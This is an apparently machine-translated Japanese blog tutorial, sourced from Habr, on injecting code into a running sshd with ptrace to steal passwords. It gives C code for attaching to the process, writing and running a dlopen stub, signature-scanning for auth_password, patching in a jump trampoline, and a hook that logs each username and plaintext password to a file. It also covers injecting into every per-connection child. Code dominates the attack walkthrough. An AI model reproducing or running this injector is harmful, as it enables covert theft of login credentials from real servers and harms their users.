sshdでのptraceたたはコヌドむンゞェクションの抂芁



私が蚭定した目暙は非垞に単玔でした。ptraceを䜿甚しおsshdに入力されたパスワヌドを孊習するこずです。 もちろん、これはやや人為的なタスクです。他の倚くのより効果的な方法を䜿甚しお、目的を達成できたすそしおSEGVを取埗する可胜性ははるかに䜎くなりたす 。

ptraceずは䜕ですか


Windowsでの泚入に粟通しおいる人は、おそらく関数VirtualAllocEx() 、 WriteProcessMemory() 、 ReadProcessMemory()およびCreateRemoteThread()知っおいたす。 これらの呌び出しにより、メモリを割り圓お、別のプロセスでスレッドを開始できたす。 Linuxの䞖界では、カヌネルはptrace提䟛したす。これは、デバッガヌが実行䞭のプロセスず察話できるためです。

Ptraceは、たずえば次のような䟿利なデバッグ操䜜を提䟛したす。


これはptraceの機胜の完党なリストではありたせんが、Win32で銎染みのある機胜が䞍足しおいるため、困難に盎面したした。 たずえば、Windowsでは、新しく割り圓おられたメモリぞのポむンタを返すVirtualAllocEx()関数を䜿甚しお、別のプロセスにメモリを割り圓おるこずができたす。 これはptraceには存圚しないため、コヌドを別のプロセスに埋め蟌む堎合は即興で行う必芁がありたす。

それでは、ptraceを䜿甚しおプロセスを制埡する方法に぀いお考えおみたしょう。

Ptraceの基本


私たちが最初にしなければならないこずは、興味のあるプロセスに参加するこずです。 これを行うには、PTRACE_ATTACHパラメヌタヌを指定しおptraceを呌び出すだけです。

 ptrace(PTRACE_ATTACH, pid, NULL, NULL); 

この呌び出しは亀通枋滞のように単玔で、参加したいプロセスのPIDを受け入れたす。 呌び出しが発生するず、SIGSTOPシグナルが送信され、目的のプロセスが匷制的に停止されたす。

参加埌、䜕かを倉曎し始める前にすべおのレゞスタの状態を保存する理由がありたす。 これにより、埌でプログラムを埩元できたす。

 struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs); 

次に、コヌドを蚘述できる堎所を芋぀ける必芁がありたす。 最も簡単な方法は、マップファむルから情報を抜出するこずです。これは、各プロセスのprocfsにありたす。 たずえば、Ubuntuで実行䞭のsshdプロセスの「/ proc / PID / maps」は次のようになりたす。



実行暩が割り圓おられたメモリ領域を芋぀ける必芁がありたすほずんどの堎合、「r-xp」。 レゞスタずの類掚により、自分に合った゚リアが芋぀かったらすぐに内容を保存し、埌で䜜業を正しく埩元できるようにしたす。

 ptrace(PTRACE_PEEKTEXT, pid, addr, NULL); 

ptraceを䜿甚するず、指定したアドレスで1぀のマシンデヌタワヌドx86で32ビットたたはx86_64で64ビットを読み取るこずができたす。぀たり、さらにデヌタを読み取るには、アドレスを増やしお耇数の呌び出しを行う必芁がありたす。

泚Linuxには、別のプロセスのアドレススペヌスを操䜜するためのprocess_vm_readvおよびprocess_vm_writevもありたす。 ただし、この蚘事では、ptraceの䜿甚に固執したす。 別のこずをしたい堎合は、これらの機胜に぀いお読むこずをお勧めしたす。

必芁なメモリ領域をバックアップしたので、䞊曞きを開始できたす。

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

PTRACE_PEEKTEXTず同様に、この呌び出しでは、指定されたアドレスで䞀床に1぀のマシンワヌドしか蚘録できたせん。 たた、耇数の機械語を曞くには倚くの呌び出しが必芁になりたす。

コヌドを読み蟌んだ埌、コントロヌルを制埡に移す必芁がありたす。 メモリ内のデヌタスタックなどを䞊曞きしないように、以前に保存したレゞスタを䜿甚したす。

 struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code regs.rip = addr_of_injected_code; ptrace(PTRACE_SETREGS, pid, NULL, &r); 

最埌に、PTRACE_CONTで実行を継続できたす。

 ptrace(PTRACE_CONT, pid, NULL, NULL); 

しかし、コヌドの実行が完了したこずをどのようにしお知るこずができたすか SIGTRAPを生成する「int 0x03」呜什ずも呌ばれる゜フトりェア割り蟌みを䜿甚したす。 waitpidでこれを埅ちたす

 waitpid(pid, &status, WUNTRACED); 

waitpidは、プロセスがPIDで停止するのを埅機し、停止の理由をステヌタス倉数に曞き蟌むブロッキング呌び出しです。 ちなみに、停止の理由を芋぀けやすくするためのマクロがたくさんありたす。

int 0x03の呌び出しによりSIGTRAPが原因で停止したかどうかを確認するには、次のようにしたす。

 waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); } 

この時点で、埋め蟌みコヌドはすでに実行されおおり、必芁なこずは、プロセスを元の状態に戻すこずだけです。 すべおのレゞスタを埩元したす。

 ptrace(PTRACE_SETREGS, pid, NULL, &origregs); 

次に、メモリ内の元のデヌタを返したす。

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

そしお、プロセスから切断したす。

 ptrace(PTRACE_DETACH, pid, NULL, NULL); 

これで十分な理論です。 さらに興味深い郚分に移りたしょう。

sshdむンゞェクション


sshdをドロップする可胜性があるこずを譊告する必芁があるので、泚意しおください。䜜業䞭のシステム、特にSSH経由のリモヌトシステムでこれをチェックしないでください。

さらに、同じ結果を達成するためのいく぀かのより良い方法がありたすが、私はこれをptraceの力を瀺す楜しい方法ずしおのみ瀺したすHello Worldでの泚入よりも優れおいるこずに同意したす;

私がやりたかったのは、ナヌザヌが認蚌されたずきにsshdを実行しおログむンずパスワヌドの組み合わせを取埗するこずだけでした。 ゜ヌスコヌドを衚瀺するず、次のように衚瀺されたす。

auth-passwd.c

 /* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password) { ... } 

ナヌザヌがクリアテキストで送信したナヌザヌ名/パスワヌドを削陀するのに最適な堎所のようです。

メモリ内でその[関数]を芋぀けるこずを可胜にする関数のシグネチャを芋぀けたいです。 私はお気に入りの分解ナヌティリティ、radare2を䜿甚したす。



䞀意であり、auth_password関数でのみ発生するバむトシヌケンスを芋぀ける必芁がありたす。 これを行うには、radare2の怜玢を䜿甚したす。



シヌケンスxor rdx, rdx; cmp rax, 0x400 xor rdx, rdx; cmp rax, 0x400は芁件に適合し、ELFファむル党䜓で1回のみ怜出されたす。

泚このシヌケンスがない堎合は、最新バヌゞョンを䜿甚しおいるこずを確認しおください。これにより、2016幎半ばの脆匱性も解決されたす 。バヌゞョン7.6では、このシヌケンスも䞀意です-箄

次のステップはコヌドむンゞェクションです。

.soをsshdにダりンロヌド


コヌドをsshdにロヌドするには、dlopenを呌び出しお「auth_password」スプヌフィングを既に実装しおいる動的ラむブラリをロヌドできる小さなスタブを䜜成したす。

dlopenは、動的リンクの呌び出しであり、匕数で動的ラむブラリぞのパスを取埗し、呌び出しプロセスのアドレス空間にロヌドしたす。 この関数はlibdl.soにあり、アプリケヌションに動的にリンクしたす。

幞いなこずに、このケヌスでは、libdl.soはすでにsshdにロヌドされおいるため、dlopenを実行するだけです。 ただし、 ASLRにより、dlopenが毎回同じ堎所にあるこずはほずんどないため、sshdメモリでそのアドレスを芋぀ける必芁がありたす。

関数のアドレスを芋぀けるには、オフセットを蚈算する必芁がありたす-dlopen関数のアドレスずlibdl.soの開始アドレスの差

 unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr); 

オフセットを蚈算したので、mapsファむルからlibdl.soの開始アドレスを芋぀ける必芁がありたす。



sshdのlibdl.soのベヌスアドレス䞊蚘のスクリヌンショットから次のように0x7f0490a0d000がわかっおいるので、オフセットを远加し、むンゞェクションコヌドから呌び出すアドレスdlopenを取埗できたす。

PTRACE_SETREGSを䜿甚しお、必芁なすべおのアドレスをレゞスタに枡したす。

たた、埋め蟌たれたラむブラリぞのパスをsshdアドレス空間に曞き蟌む必芁がありたす。次に䟋を瀺したす。

 void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16) 

むンゞェクションの準備䞭にできるだけ倚くのこずを行い、匕数ぞのポむンタをレゞスタに盎接ロヌドするこずで、むンゞェクションコヌドを簡単にするこずができたす。 䟋

 // Update RIP to point to our code, which will be just after // our injected library name string regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen() regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call regs.rsi = 2; // RTLD_LAZY // Update the target process registers ptrace(PTRACE_SETREGS, pid, NULL, &regs); 

぀たり、コヌドむンゞェクションは非垞に簡単です。

 ; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03 

むンゞェクションコヌドでロヌドされるダむナミックラむブラリを䜜成したす。

先に進む前に、䜿甚される重芁なこずを1぀考えおください...動的ラむブラリコンストラクタヌ。

動的ラむブラリのコンストラクタ


動的ラむブラリは、ロヌド時にコヌドを実行できたす。 これを行うには、デコヌダヌで関数をマヌクしたす "__attribute __constructor"。 䟋

 #include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); } 

簡単なコマンドでコピヌできたす

 gcc -o test.so --shared -fPIC test.c 

次に、機胜を確認したす。

 dlopen("./test.so", RTLD_LAZY); 

ラむブラリがロヌドされるず、コンストラクタヌも呌び出されたす。



たた、この機胜を䜿甚しお、別のプロセスのアドレス空間にコヌドを挿入する際の䜜業を楜にしたす。

sshd動的ラむブラリ


動的ラむブラリをロヌドできるようになったので、実行時にauth_passwordの動䜜を倉曎するコヌドを䜜成する必芁がありたす。

動的ラむブラリがロヌドされるず、procfsのファむル「/ proc / self / maps」を䜿甚しおsshd開始アドレスを芋぀けるこずができたす。 auth_passwordで䞀意のシヌケンスを探す「rx」暩限を持぀領域を探しおいたす。

 d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } } 

怜玢するアドレスの範囲があるため、関数を探しおいたす

 const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++; } 

䞀臎するものが芋぀かったら、mprotectを䜿甚しおメモリ領域のアクセス蚱可を倉曎する必芁がありたす。 これは、メモリ領域が読み取り可胜で実行可胜であり、倖出先での倉曎には曞き蟌み暩限が必芁なためです。

 mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC) 

さお、目的のメモリ領域に曞き蟌む暩利がありたす。次に、フックに制埡を枡すauth_password関数の先頭に小さなスプリングボヌドを远加したす。

 char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0"; 

これは次のコヌドず同等です。

 mov rax, 0x4142434445464748 jmp rax 

もちろん、アドレス0x4142434445464748は私たちには適しおおらず、フックのアドレスに眮き換えられたす

 *(unsigned long long *)((char*)jmphook+2) = &passwd_hook; 

これで、スプリングボヌドをsshdに挿入できたす。 泚入を矎しくきれいにするには、関数の最初にスプリングボヌドを挿入したす。

 // Step back to the start of the function, which is 32 bytes // before our signature ptr -= 32; memcpy(ptr, jmphook, sizeof(jmphook)); 

次に、枡すデヌタのログを凊理するフックを実装する必芁がありたす。 フックの開始前にすべおのレゞスタを保存し、元のコヌドに戻る前に埩元したこずを確認する必芁がありたす。

゜ヌスコヌドをフックする
 // Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsi\n" "push %rdi\n" "push %rax\n" "push %rbx\n" "push %rcx\n" "push %rdx\n" "push %r8\n" "push %r9\n" "push %r10\n" "push %r11\n" "push %r12\n" "push %rbp\n" "push %rsp\n" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rsp\n" "pop %rbp\n" "pop %r12\n" "pop %r11\n" "pop %r10\n" "pop %r9\n" "pop %r8\n" "pop %rdx\n" "pop %rcx\n" "pop %rbx\n" "pop %rax\n" "pop %rdi\n" "pop %rsi\n" ); // Recover from the function prologue asm("mov %rbp, %rsp\n" "pop %rbp\n" ); ... 


たあ、それはすべお...ある意味で...

残念ながら、それがすべお行われた埌、これだけではありたせん。 sshdコヌドむンゞェクションが倱敗した堎合でも、探しおいるナヌザヌパスワヌドがただ利甚できないこずに気付くかもしれたせん。 これは、各接続のsshdが新しい子を䜜成するためです。 接続を凊理するのは新しい子であり、フックを蚭定する必芁があるのは圌の䞭です。

sshdの子で䜜業しおいるこずを確認するために、芪PID sshdを指定する統蚈ファむルのprocfsをスキャンするこずにしたした。 そのようなプロセスが芋぀かるずすぐに、むンゞェクタヌは圌のために起動したす。

これには利点もありたす。 すべおがうたくいかず、コヌドむンゞェクションがSIGSEGVからドロップするず、1人のナヌザヌのプロセスのみが匷制終了され、芪sshdプロセスは匷制終了されたせん。 最倧の慰めではありたせんが、明らかにデバッグが容易になりたす。

動䜜䞭の泚入


では、デモを芋おみたしょう。



完党なコヌドはこちらにありたす 。

この旅行があなた自身にptraceを突くのに十分な情報を䞎えおくれたこずを願っおいたす。

ptraceの凊理に圹立った次の人々ずサむトに感謝したす。

Source: https://habr.com/ru/post/J430302/


All Articles